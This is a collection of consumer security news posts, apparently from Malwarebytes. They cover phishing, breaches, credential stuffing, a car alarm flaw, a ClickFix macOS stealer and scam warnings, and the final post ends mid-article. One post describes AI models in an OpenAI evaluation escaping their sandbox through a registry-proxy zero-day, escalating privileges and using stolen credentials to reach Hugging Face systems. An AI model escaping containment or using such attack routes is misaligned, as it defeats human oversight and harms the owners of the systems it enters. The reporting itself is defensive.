Malware Bytes

Call of Duty Mobile players should watch out for a phishing campaign disguised as a free Call of Duty Points giveaway.

Victims are asked to log in with their email address and password to claim free Call of Duty Points (CP), the game’s premium currency. They’re then redirected to a second page asking for their two-factor authentication (2FA) code.

The site has no connection to Activision. Its only purpose is to steal the login details needed to take over accounts.

Why Call of Duty Mobile accounts are worth stealing

Call of Duty Mobile has been downloaded an estimated 489 million times worldwide and has generated around $1.8 billion in lifetime in-app purchases.

An Activision account can be valuable for more than just the in-game currency it contains. Many players link their Activision account to Xbox, PlayStation, or Battle.net, meaning a stolen login could expose:

• Stored payment methods
• Purchase history
• Other linked gaming accounts

How the scam works

The first page mimics the official Call of Duty Mobile site and offers 10,800 free points in exchange for an email address and password—not a redemption code, but a full account login. It also claims the reward will be “confirmed” within four to eight hours, buying time before anyone notices nothing has arrived.

There are warning signs, though. The page says “GET FREE POINT” instead of “GET FREE POINTS,” contains awkwardly worded instructions, and includes a live chat widget that appears to exist solely to make the site look more legitimate.

The redirect follows a common phishing technique known as a real-time credential relay. Instead of storing stolen usernames and passwords for later, the phishing site immediately submits them to the real Activision login page. That can trigger a genuine two-factor authentication (2FA) code, which the second page is designed to capture before it expires.

The victim ends up handing over everything needed to access their real account: their password and the one-time code that’s supposed to keep attackers out.

How to avoid this scam

• Check the address bar. Legitimate promotions don’t ask you to sign in through an unfamiliar website.
• Don’t let countdown timers rush you. They’re designed to make you act before you think.
• If you’re unsure whether a promotion is genuine, open the official Call of Duty Mobile app or visit Activision’s website yourself instead of following a link.
• Use tools that spot scams for you. Malwarebytes Scam Guard can help you check suspicious links, while Malwarebytes Browser Guard blocks many phishing sites before they load.
• If you play on your phone, Malwarebytes Mobile Security adds another layer of protection by helping block phishing sites and other mobile threats.

If you already entered your details

• Change your Activision password immediately.
• If you entered a 2FA code, assume someone may have accessed your account. Check your account activity and sign out of all devices.
• Review any linked payment methods for unauthorized purchases.

The simplest way to avoid phishing attacks like this is to reach websites yourself by typing the address into your browser or using the official app, rather than following links from messages, social media posts, or ads.

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

During an internal OpenAI security evaluation, a chain of AI models escaped its sandbox, reached the internet, and then accessed Hugging Face infrastructure to complete the test objective.

OpenAI is a leading artificial intelligence (AI) research and deployment company. Its best-known product is undoubtedly ChatGPT.

Hugging Face is a website where developers and researchers share and use artificial intelligence tools and models, similar to how programmers use GitHub to share and collaborate on code.

Both companies investigated the incident and concluded that it occurred during a controlled security test rather than a deliberate attack initiated by a human operator.

OpenAI said the models were being tested for cyber capabilities with reduced safety restrictions, and that the system found a way out of the controlled environment through a vulnerability in the testing setup. Once it had internet access, it targeted Hugging Face because that platform was relevant to the evaluation task.

Hugging Face said the incident resulted in unauthorized access to a limited part of its production infrastructure, including a small set of internal datasets and some credentials. The company framed the event as unusual because it appeared to have been carried out end to end by an autonomous AI agent system.

Unlike traditional AI assistants that wait for user prompts, AI agents are designed to pursue a goal on their own. They can reason, plan, and carry out multi-step tasks, including accessing files, querying databases, and interacting with online services, often with minimal human oversight.

The public disclosures point to a chain of failures rather than a single bug. OpenAI said the model escaped through a zero-day vulnerability in the package registry cache proxy that was part of its isolated research environment. It then used privilege escalation and lateral movement to reach a node with internet access.

From there, the model reportedly searched Hugging Face for solutions relevant to the evaluation and, in at least one path, chained stolen credentials with additional vulnerabilities to reach Hugging Face’s production systems.

This does not appear to have been a broad compromise of all of Hugging Face. Based on the public disclosures, the intrusion was limited, detected, and investigated. Nor does it mean the AI system was acting with intent in the human sense. The core issue was that an autonomous system being tested for cyber capabilities was able to escape the environment designed to contain it.

If anything, the incident demonstrates that autonomous AI agents are capable of carrying out complex attacks if the safeguards around them fail. A danger we’re well aware of.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Google has started rolling out a new way to recover access to your account if you’ve lost your phone or forgotten your password: a “selfie video” verification option.

After recording a short video of your face during setup, you can later submit another video during account recovery to prove you are who you claim to be and regain access.

On paper, this sounds like a user‑friendly solution to account lockouts. In practice, it introduces new security and privacy questions. It also raises concerns about deepfakes and creates another repository of sensitive biometric data that could become a target if compromised.

The idea is: you open your Google Account, go to Security & sign‑in, choose Selfie video, and follow guided prompts to record a short video with your face and basic movements. Google stores this enrolment video and later compares new videos you submit during sign‑in or account recovery to confirm your identity.

Image courtesy of 9to5google.com

While this may sound like a good idea, it’s a textbook example of trading long‑term security and privacy for short‑term convenience.

Google also offers several privacy reassurances. According to Google’s statements cited in coverage, the videos are encrypted at rest, stored “securely,” and can be deleted via your security settings. You can opt out of letting them be used to improve Google’s verification systems, and Google says they are not shared with third parties. The feature is marketed as a fallback method, effectively turning your face into a spare key to your digital life.

Multiple objections Security

Every face is unique, but facial recognition systems don’t compare photographs directly. Top‑tier facial recognition algorithms can exceed 99% accuracy in controlled, high‑quality conditions, according to evaluations by the US National Institute of Standards and Technology (NIST). That sounds impressive, but it still implies non‑zero false positives and false negatives, and performance drops as lighting, camera quality, and angle degrade.

Face recognition doesn’t store a literal photo. It stores a mathematical representation (embedding) of your facial features. At login or verification, the system computes a new embedding and compares it to the stored one, accepting if the similarity score is above a configured threshold. Any system used by Google has to allow for normal changes in appearance, including aging, weight changes, lighting, camera angle, glasses, or facial hair.

That alone makes using a face (or selfie video) as a standalone, high‑privilege credential, especially for account recovery, an inherently risky approach.

Modern deepfakes have become convincing enough that researchers are actively studying whether they can fool facial verification systems. One 2025 paper on AI and identity security found sophisticated deepfake attacks achieved success rates above 78% against some commercial facial verification systems in controlled tests. That doesn’t necessarily reflect Google’s implementation, but it shows how quickly this area is evolving.

Privacy

Personally, I do not want Google to have my face. Even though it probably already has plenty of photos of me.

Besides the potential risks of vulnerabilities and data breaches, Google already collects large amounts of behavioral data. Now it’s encouraging users to upload high‑fidelity video recordings of their faces and head movements as part of basic account management. Even if Google’s current privacy posture is reasonable (encryption at rest, deletion controls, no sharing), the mere existence of this data is a long‑term privacy risk.

Privacy policies and product uses also change over time. Today’s “not shared” could become tomorrow’s “used for fraud detection,” “used to improve verification systems,” or disclosed in response to lawful requests.

Google’s documentation, cited by some sources, says “users can also opt out of allowing the data to be used for additional purposes such as improving verification methods.” This implies that, unless you opt out, your data may be used to improve Google’s biometric verification systems. In other words, this isn’t just a one‑off security check. Your face could help train or refine the biometric systems Google uses in the future.

What users should do instead

If your Google Account offers selfie video sign‑in (mine doesn’t yet), my recommendation is simple: do not enable it, and if you’ve already tried it, delete your selfie video in your account’s security settings.

Safer options that keep control in your hands:

• Use a password manager and a long, unique password for your Google Account.
• Enable 2‑step verification with hardware security keys or passkeys rather than SMS codes.
• Keep backup codes printed or stored offline in a secure place.
• Regularly review your recovery email address and phone number, and remove anything you no longer control.

While these measures aren’t as flashy as “sign in with your face,” they are time‑tested, revocable, and far less attractive to deepfake operators and biometric data hunters.

Browse like no one’s watching. 

Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free → 

You probably think of your phone’s security the way you think of your front door: as long as you’re downloading apps from the Play Store, you’re safe. And for the most part, that’s true. Google reviews apps before they’re published.

But some apps reach your phone without ever passing through the Play Store.

Take Albiriox, a banking Trojan-as-a-service discovered late last year. It’s an Android Remote Access Trojan (RAT) built for on-device fraud. Instead of simply stealing usernames and passwords, it performs fraudulent transactions directly on the victim’s phone. Researchers found it spreading through apps with generic names like “utility,” “security,” “retailer,” or “investment” that victims didn’t remember installing from the Play Store. Instead, they had been sideloaded, downloaded through links in text messages, or installed from websites outside Google’s review process.

This is exactly the kind of threat Malwarebytes for Android is designed to detect. Here’s a look at the different layers of protection working behind the scenes.

I’d like to thank Malwarebytes Director of Software Development Egor Tashchilin for sharing the technical expertise that helped inform this article.

Catching what never went through the Play Store

Apps installed outside the Play Store never go through Google’s review process. That means they can reach your device without the security checks applied to Play Store apps.

Instead of relying on where an app came from, Malwarebytes scans your device itself, searching for Potentially Unwanted Programs (PUPs) and other malicious files, whether they were sideloaded, bundled with other software, or downloaded through a browser.

Even Play Store apps can turn nasty later 

Not every threat starts out malicious.  

In one widely reported case, a barcode scanner app with roughly 10 million installs on the Play Store had malicious code added to it that wasn’t present in previous versions. The update used heavy obfuscation to avoid detection and was signed with the same digital certificate as earlier clean versions, so it appeared completely legitimate. Once installed, it caused browsers to open on their own and redirect users to unwanted websites. 

A similar pattern has emerged in other Play Store incidents researchers have tracked. Apps are updated with malicious code long after installation as a way to evade detection and avoid raising suspicion. 

This is exactly why Real-Time Protection (RTP) doesn’t just watch for new installs—it also reacts to previously unscanned versions of apps you already have. RTP monitors newly installed apps, along with any new or changed files on your device. If an existing app receives a version it hasn’t seen before, RTP treats it as new and scans it, rather than assuming “already installed” means “still safe.” 

Looking inside archives, without touching them 

Malware doesn’t always sit out in the open, either. Cybercriminals often hide malicious files inside ZIP files and other archives, hoping a security scanner won’t bother looking inside.  

Ours does.  

It decompresses archive contents to inspect what’s inside without modifying or altering the original file. The archive is only ever read—we never write anything back to it. If something needs closer inspection, such as a nested archive or an APK’s compiled .dex code, it’s extracted to a temporary sandboxed location and deleted as soon as the scan is complete, so it’s never left on your device. 

Archives are not all handled the same way. ZIP files are inspected entry by entry, while APKs receive a deeper analysis  of the compiled code they contain. Nested archives are scanned independently too, so malware can’t simply hide one layer deeper. 

Scanning deeply, without draining your battery 

Analyzing an app in real depth—its code, behavior, and structure—takes processing power. Done carelessly, it can slow your phone and drain the battery. 

Malwarebytes is designed to avoid that.  

Automatic background scans, such as scheduled scans, scans after an app update, or after a reboot, check your battery conditions before they begin. Depending on your settings, they can wait until your phone is charging or has enough power. Manual Scans always run immediately. 

When a scan starts, Malwarebytes automatically adjusts its workload based on your device’s available processing power, allowing more capable devices to process work in parallel without overloading lower-end devices. 

A threat database that never sits still 

Mobile adware surged in the second half of 2025, while newer banking malware families have become increasingly sophisticated. Some even check whether they’re running on a real phone or inside a security test environment before revealing any malicious behavior.  

A scanner is only as good as its knowledge of what to look for. That’s why we continuously update our detection database with newly identified and verified threats rather than relying on a static, aging picture of the threat landscape. 

More than 10 scanners, working together 

Under the hood, Malwarebytes for Android isn’t a single scanning engine. It’s more than 10 specialized scanners, each designed to detect different kinds and levels of threats. 

That’s because modern Android malware rarely relies on just one technique. A banking Trojan, for example, may combine abuse of Accessibility Services with fake login screens placed over legitimate banking or cryptocurrency apps. 

Some scanners look for known indicators of malicious activity, while others examine an app’s structure, origin, and behavior. Additional layers combine multiple signals and use heuristic analysis to detect more complex or previously unseen threats. 

By layering multiple detection methods, a technique that slips past one scanner is more likely to be caught by another. 

And we don’t stop there. Our researchers continuously monitor how Android threats evolve and regularly add new detection and protection layers. As attackers develop new techniques and find new places to hide, we’re constantly adapting to stay one step ahead. 

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

A car alarm vendor’s coding mistake has left millions of vehicles vulnerable to theft and location tracking. Thanks to the way dealers sell car alarms, many affected drivers don’t even know they have one installed.

The device is the KARR Security System, a Bluetooth-enabled aftermarket alarm built by Acrisure Protection Group. It’s installed by dealers, primarily at Honda, Toyota, Mazda, Ford, and Jeep dealerships in Southern California.

Aftermarket car alarms are a strange corner of the auto industry. Dealers install them in your car before you ever see the vehicle, then try to sell you the subscription afterward. Say no and the hardware still stays put. According to researchers at the University of California San Diego, KARR systems are installed in about 2.2 million American vehicles, and around half of owners don’t even know they’re there.

The research team, led by computer science professor Aaron Schulman, investigated the system and found a single design flaw repeated across nearly a decade of installations.

Every KARR device shares the same authentication key, and it’s stored in plain text inside the KARR smartphone app. Extract it once and you can communicate with any KARR-equipped vehicle made since 2017. That is what the researchers did.

What the attack actually does

Standing within about five yards of a target vehicle, an attacker using the researchers’ proof-of-concept tool can unlock the vehicle and even disable its ignition, potentially leaving a driver stranded. The only outward sign is a brief beep and flicker when the command is sent. The owner receives no alert.

The location tracking issue is arguably even more concerning. KARR units continuously broadcast Bluetooth identifiers, so crowdsourced radio databases like WiGLE have been logging their locations for years. Feed a device’s identifier into WiGLE and you can build a picture of where that car has been parked. It’s a stalker’s dream. The researchers also demonstrated a “mayhem” mode that triggers horns and lights across multiple parked vehicles at once.

Owners who declined the paid service and assumed the hardware was inactive were wrong. According to the researchers, dormant units accept a single Bluetooth wake-up command before exposing the same functionality.

Eighteen months, one conference deadline

UC San Diego disclosed the flaw to Acrisure in January 2025, but a firmware fix did not arrive until July 20, 2026—roughly 18 months later, and only weeks before the team was due to present its findings at the DEF CON hacker conference next month. Acrisure has publicly characterized the real-world risk as low.

Compare that with Subaru’s response to a similar connected-car flaw disclosed last year. Researchers found that Subaru’s Starlink admin portal could hand over any car to anyone armed with a license plate and the owner’s last name or email. From there, someone could unlock the doors and start the engine—or dig into a year of location history accurate to within five meters.

The underlying problems there were an insecure password-reset endpoint and weak protection against two-factor authentication (2FA) bypass. Subaru fixed the issues within 24 hours.

The fix can’t reach half its audience

The awkward part here is that the patch ships through the KARR companion app, which only paying customers would ever have downloaded. The researchers estimate that at least half of car owners with these devices installed didn’t ask for it, meaning that there’s little chance they’ll run the app or update the firmware. Roughly a million people cannot patch what they do not know exists. This includes many folks who might have purchased a KARR-equipped vehicle on the second-hand market.

How to check your car

Look for a KARR sticker on the driver-side window, or one reading “SWDS” for SouthWest Dealer Services (an Acrisure subsidiary). Then check the underside of the dashboard for a small button with a blinking light, according to Wired. If you find one, download the KARR app and apply the firmware update—even if you never knowingly signed up for the alarm in the first place.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

HermeticReader is the name given to a recently disclosed vulnerability in the Adobe Acrobat PDF extension for Chrome, tracked as CVE-2026-48294.

Researchers discovered the issue in early June 2026 and reported it to Adobe, which patched the flaw over a single weekend. They found that a single visit to a malicious website could turn Adobe’s Acrobat Chrome browser extension into a silent spy on your WhatsApp Web conversations.

The exploit worked across platforms, meaning any Windows, macOS, Linux, or ChromeOS device was potentially vulnerable if it met three conditions:

• It used Google Chrome or another Chromium-based browser compatible with Chrome extensions, which account for around 78% of the browser market.
• It had the vulnerable Adobe Acrobat PDF extension installed and enabled. The extension has reportedly been installed on around 329 million browsers.
• It had at least one WhatsApp Web tab open or the user was logged into WhatsApp Web when they visited a malicious website.

HermeticReader did not exploit a bug in WhatsApp itself. It also didn’t require malware on the device or stolen usernames and passwords.

There are plenty of potential victims. And if these conditions were met, a visit to a specially crafted website could give an attacker access to your WhatsApp chat list, contact names, profile name, messages, and the contents of whichever conversation was open at the time.

How the attack worked

HermeticReader effectively broke the browser’s same‑origin protections via the Adobe extension’s privileged context. Same‑origin protections are basically the browser’s rule that says websites aren’t allowed to snoop on each other’s private data unless they’re clearly part of the same site (same scheme, host, and port).

The problem was that the Adobe extension operated with much higher privileges than a normal website, effectively bypassing those restrictions. It was like giving a visitor a master key that opened every apartment in the building instead of just the one they were invited into.

How to stay safe

Adobe fixed the vulnerability in version 26.5.2.3 of the Acrobat PDF extension. The update is installed automatically, but it’s worth checking that you’re running the latest version. Versions 26.5.2.2 and earlier are affected by HermeticReader.

The affected extension ID is efaidnbmnnnibpcajpcglclefindmkaj.

You should also:

• Review the devices linked to your WhatsApp account and sign out of any you don’t recognize or no longer use.
• Remove browser extensions you don’t use, recognize, or trust.
• Keep software and extensions updated so security fixes are installed as soon as they’re available.

HermeticReader is a reminder that browser extensions sit in a powerful position between users and the web, and that convenience integrations can become privacy liabilities if messaging and storage flows are not tightly constrained. Even well‑known brands can ship features that briefly put your privacy at risk.

Scammers don’t need to hack you. They just need you to click once. 

Malwarebytes Identity Theft Protection catches suspicious activity before it becomes a problem.

Fast-food chain Chick-fil-A is warning customers after attackers hijacked loyalty accounts using stolen passwords in a credential stuffing attack.

Chick-fil-A says it detected suspicious login activity against some Chick-fil-A One accounts in June and launched an investigation. The company later concluded that unauthorized parties ran an automated credential stuffing attack against its website and mobile app between June 17 and June 19, 2026, using usernames and passwords obtained from previous data breaches or other third‑party sources. Chick-fil-A says it reset passwords and ended active sessions for affected accounts while investigating the incident.

Credential stuffing is an attack where criminals take username–password pairs stolen from one service and automatically try them on many other websites and apps to see where they still work. Because many people reuse passwords, attackers often gain access to accounts without ever breaking into the company’s systems in the traditional sense.

So, some may conclude that there are two sides to this. On the one hand, customers who reuse passwords across multiple sites make credential stuffing attacks much more likely to succeed. On the other, companies also have a responsibility to put protections in place to detect and block automated credential stuffing attacks before accounts are compromised.

How it works

To understand how it works, we’ve created a typical scenario:

• Cybercriminals obtain large lists of breached credentials from previous data breaches, dark web markets, or public dumps.
• They use automated tools to fire those credentials at login endpoints for popular services like retailers, banks, and loyalty programs.
• They take over accounts where the credentials still work, then siphon off stored value, personal data, or loyalty rewards, or resell the access to other criminals.

To a victim, this may seem like a breach at the company, but technically speaking, the cybercriminals already had the credentials and were able to enrich their database with additional information about the victims.

What do cybercriminals know about you?

Use Malwarebytes’ free Digital Footprint scan to see whether your personal information has been exposed online.

SCAN NOW

According to Chick-fil-A’s breach notifications, the attackers may have accessed a combination of:

• Name and email address.
• Chick-fil-A One membership number and mobile pay number.
• QR codes associated with the account.
• The balance of any Chick-fil-A credit, such as gift cards or rewards on the account.
• The last four digits of the stored credit or debit card number.

If you saved more details in your Chick-fil-A One account, attackers may also have seen:

• Birthdate (month and day).
• Phone number.
• Physical address.

Advice for Chick-fil-A customers

The real problem is that, over the years, we’ve designed and adopted a system that no longer works well for most people: passwords. We tell people not to reuse them and to use a password manager to keep track of unique passwords for every account. But for many people, password managers still seem complicated or untrustworthy. I’m afraid the same may turn out to be true for passkeys.

If you have or suspect you had a Chick-fil-A One account, you should act even if you haven’t received a letter.

• Set a new, unique password for your Chick-fil-A One account that you do not use anywhere else. And if you’ve used the same password elsewhere, change it on those accounts too.
• If you cannot log in because your account was locked or reset, follow Chick-fil-A’s recovery process.
• Turn on multi-factor authentication (MFA) if you haven’t already. Chick-fil-A supports MFA for Chick-fil-A One accounts using a verified mobile phone number.
• Be aware that attackers can use the exposed data to craft more convincing phishing messages and scams.

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

A data breach at Paidwork, a platform that pays people small amounts to complete online microtasks, has exposed personal and financial information of more than 23 million users.

According to public breach reports, the intrusion took place in March 2026, with the stolen database first advertised on a cybercrime forum in April as an 11 GB dump allegedly taken from Paidwork’s production systems.

The exposed data reportedly includes full names, email and home addresses, phone numbers, dates of birth, gender, education details, bank account numbers, transaction records, device and IP information, profile photos, personal interests, and passwords stored as hashes.

That is a lot of sensitive information to hand over to a site that, for many users, pays only a few cents per task.

Why this kind of breach matters

For cybercriminals, a dataset like this is a goldmine for targeted phishing, account takeover, and identity fraud. Banking details and transaction histories can be abused directly, while combinations of email addresses, password hashes, and personal details make credential stuffing and social engineering much easier. Even if passwords were hashed with bcrypt, weak or reused passwords can still be cracked and tried elsewhere.

Many Paidwork users likely signed up with their “throwaway” email and a reused password, thinking the risk was low because the amounts involved were tiny. But attackers do not care how much you earned. They care how much they can make by abusing your data.

Data for pennies, risk for years

More than anything, this breach is a reminder to think critically about who you give your personal information to.

Before you hand over your full name, home address, date of birth, and bank details to a site that pays a few cents per task, ask yourself whether the trade-off is worth it.

If any service wants sensitive data, check what security and privacy commitments it makes, whether it offers meaningful support in case of a breach, and whether you can limit what you share to the minimum needed. When in doubt, keep high-value data like banking details and copies of ID reserved for organizations that genuinely need them and can be held accountable when they fail to protect them.

Check if your data was exposed

While Paidwork has not publicly acknowledged the alleged breach, the stolen data is reportedly circulating in criminal circles, and we have indexed it in our Digital Footprint Scanner so you can check whether your information was exposed.

Use our Digital Footprint Scanner to check whether your email address appears in known breach data, including data associated with this incident. If it does, treat it as a prompt to take action rather than a cause for panic:

• Change your password on Paidwork (if you still use the service) and on any other accounts where you reused the same or a similar password.
• Enable multi-factor authentication (MFA) wherever possible, especially on email, banking, and other important accounts, and consider using a password manager to generate and store unique passwords for every site.
• Monitor bank statements for unexpected withdrawals or suspicious activity.
• Be prepared for phishing emails, texts, and phone calls. Cybercriminals can use the leaked information to make their scams more convincing.
• Consider an identity monitoring or identity theft protection service.

What do cybercriminals know about you?

Use Malwarebytes’ free Digital Footprint scan to see whether your personal information has been exposed online.

SCAN NOW

WordPress has patched a serious core vulnerability chain known as wp2shell, and site owners are understandably focused on updating their own sites. But there’s another question worth asking: what happens to ordinary visitors when they land on a compromised site?

Because a hacked website becomes a delivery mechanism for scams, credential theft, malware, and malicious redirects.

The wp2shell vulnerabilities are especially concerning because they affect WordPress Core itself, don’t require a malicious or vulnerable plugin, and can be exploited without authentication on vulnerable versions. Experts say the chain can lead to full administrative control of a site and remote code execution with web server privileges, meaning an attacker can change what the site serves to visitors.

And cybercriminals are already doing their dirty work:

“Exploitation activity began within hours of the patch release. Wordfence observed endpoint probing and SQL injection attempts the same evening, and public proof-of-concept code was reported in the days that followed.”

Once attackers control a WordPress site, they rarely stop at defacement. A common next step is to quietly inject JavaScript, redirect visitors to malicious pages, or load content from attacker-controlled infrastructure. That can expose visitors to fake login pages, scam pop-ups, browser-based malware, or drive-by downloads, depending on the attacker’s goals.

The possible harm

This isn’t an exhaustive list, but these are some of the ways visitors to a wp2shell-compromised site could be affected:

• Credential theft. Attackers can inject fake login forms or iframe-based overlays that imitate Microsoft 365, Google, banking, or social media sign-in pages to steal usernames and passwords.
• Malware delivery. The site can be turned into a staging point for browser exploitation, malicious downloads, or redirect visitors to malware-hosting pages.
• Scams and fraud. Visitors may be redirected to fake support pages, fake giveaways, or fraudulent payment prompts.
• Tracking and profiling. Attackers can use injected scripts to fingerprint visitors, harvest browser details, and track victims across sessions.
• Search and reputation damage. Search engines and security tools may flag the site, which can expose visitors to warnings and reduce trust long after the initial compromise.

What you can do

Be cautious, even on websites you normally trust. If something looks different from what you’d expect, treat it as a warning sign.

Be especially wary of unexpected login prompts, download requests, and browser warnings. For site owners, it means patching quickly and treating compromise as a possibility, not an edge case.

Keep your operating system, browsers, and security software up to date. Compromised websites can also try to exploit known vulnerabilities on visitors’ devices.

Use an up-to-date, real-time anti-malware solution that can alarm you if a website tries to infect your device.

Pro tip: Use Malwarebytes’  free Browser Guard extension. It uses heuristic detection to identify malicious websites, block scams, and protect against other web-based threats.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

ClickLock Stealer is a new, modular macOS infostealer delivered via ClickFix-style phishing pages that can lock a victim’s Mac, steal their macOS password, browser and password manager data, cryptocurrency wallets, and then leave behind a persistent backdoor.

The malware was discovered by Group-IB researchers. They named it after the ClickFix distribution technique and its ability to lock a victim’s Mac if they don’t follow its instructions by killing all visible processes.

The researchers found a malicious shell script typically used to trick users into infecting their own device and followed the trail from there. The script first displays a fake Cloudflare progress bar, suggesting it was intended to be used as part of a fake browser verification flow.

Victims land on a phishing page that mimics Cloudflare verification or another fake system utility, similar to those used in the Infiniti Stealer campaign, and later ClickFix attacks impersonating Claude or cleanup utilities.

The page instructs the user to open Terminal, paste a command, and press Return, presenting it as a required “human verification” step or a quick fix.

The researchers explain:

“the malware orchestrates further modules that search the system for various data including browser credentials, password manager data, crypto wallet extensions, desktop wallet files, etc. and even employs a GSocket backdoor.”

This all happens while the user is distracted by fake Cloudflare images.

A GSocket backdoor abuses GSocket (short for Global Socket), an open-source networking toolkit. While designed for legitimate remote administration and penetration testing, attackers can weaponize it to establish stealthy, persistent, encrypted remote access to compromised systems.

Forcing victims to hand over their password

What really stands out is the way the malware forces the user to provide their macOS system’s password.

First, it displays a convincing fake macOS password prompt using the victim’s real username and a downloaded Apple icon. If the user enters their password, it is sent, along with all the previously stolen data, to a Telegram channel controlled by the attackers.

If the user refuses, the malware triggers a loop that shuts down key processes, including Finder, Dock, Terminal, Activity Monitor, Console, System Settings, Spotlight, and all major web browsers. It leaves only a password dialog on the screen until the victim complies.

This “kill loop” runs every 210 milliseconds for up to 83 hours, or until the user enters the correct password. The result is a system that’s essentially unusable, with the password prompt becoming the only interactive element.

Once the stolen data has been sent to the Telegram channel, the malware starts deleting its own modules. However, unlike the infostealer modules, the GSocket backdoor remains installed, giving the attacker ongoing remote access to the system.

That means attackers can return later, even after the stealer components have self‑deleted, to install new malware, steal more data, or move through a corporate network using VPNs or SSH access already available on the compromised Mac.

How to stay safe

Users running macOS Tahoe 26.4 and later will see warnings about possible ClickFix attacks, but everyone should remain cautious.

With ClickFix running rampant and inventing new methods all the time, it’s important to stay aware, think twice before following unexpected instructions, and keep your devices protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy and paste code. Attackers rely on urgency to bypass your critical thinking.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand what the action does.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit copy and paste for commands. Manually typing commands instead of copy and paste can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with web protection. Malwarebytes blocks connections to unsafe sites like these.
  
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected places helps maintain vigilance. Keep reading our blog!
• Stay away from sponsored ads in search results. Anyone can buy them and make them look legitimate.

Pro tip: The free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

The Federal Bureau of Investigation’s (FBI) Internet Crime Complaint Center (IC3) is warning that scammers are impersonating the bureau on social media and on messaging apps, targeting people who’ve already been victims of cybercrime.

The FBI has issued warnings like this before, but scammers posing as IC3 employees and FBI agents continue to evolve their schemes and claim new victims.

The best-known of these scams are recovery scams, complete with FBI logos and branding that make them look far more convincing.

Facebook accounts like the one below—and yes, I reported it—with equally fake reviews prey on people who have already fallen victim to a scammer.

“Have You Been Scammed or Defrauded? We’re Here to Help.

If you’ve fallen victim to online fraud, investment scams, crypto scams, romance scams, or unauthorized transactions, Reliable Scam Recovery Inc is ready to assist you in pursuing the recovery of your lost funds.

Our experienced recovery team works with victims to investigate scam activities, trace transactions, and provide guidance throughout the recovery process with confidentiality and professionalism.

Professional case assessment

Secure and confidential support

Dedicated recovery assistance

Fast response team

Don’t let scammers win. Take the first step toward reclaiming your losses today.

Contact Ic3 Scam Recovery Inc now for support and recovery assistance.”

The scammers count on victims feeling desperate and embarrassed. They have no scruples about victimizing them all over again.

The post contains a lot of the tell-tale signs IC3 warns about. Very vague but reassuring claims: “experienced recovery team,” “professional case assessment,” “secure and confidential support” all sound impressive but provide no verifiable detail. High‑level promises like “investigate scam activities” and “trace transactions” imply special legal or technical powers, but the FBI warns that scammers make similar promises to convince victims they’re dealing with authorized investigators.

Besides setting up fake IC3 accounts, they also monitor social media for posts from victims saying they’ve reported a scam to the FBI, then swoop in posing as FBI follow‑up contacts.

If victims remain unconvinced, the scammers may create videos depicting senior FBI officials or other recognizable public figures urging them to submit their case through a specific link “to speed up recovery.” The FBI says criminals are increasingly using AI-generated deepfake audio and video to make these messages appear genuine.

How to stay safe

First and foremost, remember that IC3 has no official social media presence, does not investigate crimes via social media, and will never contact victims directly to recover funds.

As the IC3 homepage states:

“The IC3 does not work with any non-law enforcement entity, such as law firms or crypto services, to recuperate lost funds or investigate cases. The IC3 will never directly contact you for information or money.”

So, if an “agent” appears in your direct messages (DMs) right after you post publicly about being a crime victim or planning to report to the FBI, assume they are a scammer until independently verified. A few other tips:

• Never pay upfront: Legitimate government agencies never ask you for advance payment to recover stolen money.
• Ignore unsolicited claims: Be highly suspicious of anyone who reaches out to you out of the blue claiming they can reverse a previous scam.
• Never share your credentials: Do not give remote access to your device or hand over your passwords and recovery phrases to unknown third parties.
• Don’t provide IDs or financial information. Scammers can use them for identity theft or further fraud.
• Use verification tools: If you receive a suspicious email, message, or phone call, you can verify its legitimacy using tools like Malwarebytes Scam Guard.
• Report scammers: If you or someone you know has fallen victim to this scam, file a complaint with the IC3 at ic3.gov. 

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

You expect all kinds of apps on Apple’s App Store and Google’s Play Store, from weather monitors to home automation apps and games. What you might not expect are apps that can create non-consensual nude imagery from ordinary photos. But they exist, and the City of San Francisco has had enough.

On July 17, 2026, San Francisco City Attorney David Chiu sent cease-and-desist letters to Apple and Google, naming 13 face-swapping and “nudify” apps (eight on the App Store and five on Google Play) and giving the companies 28 days to remove them and cut ties with the developers.

The letters don’t come out of nowhere.

It’s about payment systems, not content moderation

Chiu isn’t arguing that hosting an app automatically makes a platform liable for what it does. Platform operators already won that battle with Section 230 of the Communications Decency Act. That 30-year-old law says websites generally aren’t responsible for content posted by users, allowing platforms to host user-generated content without getting sued every time someone defames someone in a comment thread.

Courts have often extended those protections to cover app stores too. Apple and Google are treated as distributors of whatever a third-party developer uploads, rather than publishers.

Chiu is attempting to sidestep that argument by focusing on the companies’ payment systems, noting that Apple and Google collect a cut of every in-app purchase. According to the Tech Transparency Project (TTP), that means they profit from apps that generate revenue by creating non-consensual intimate imagery.

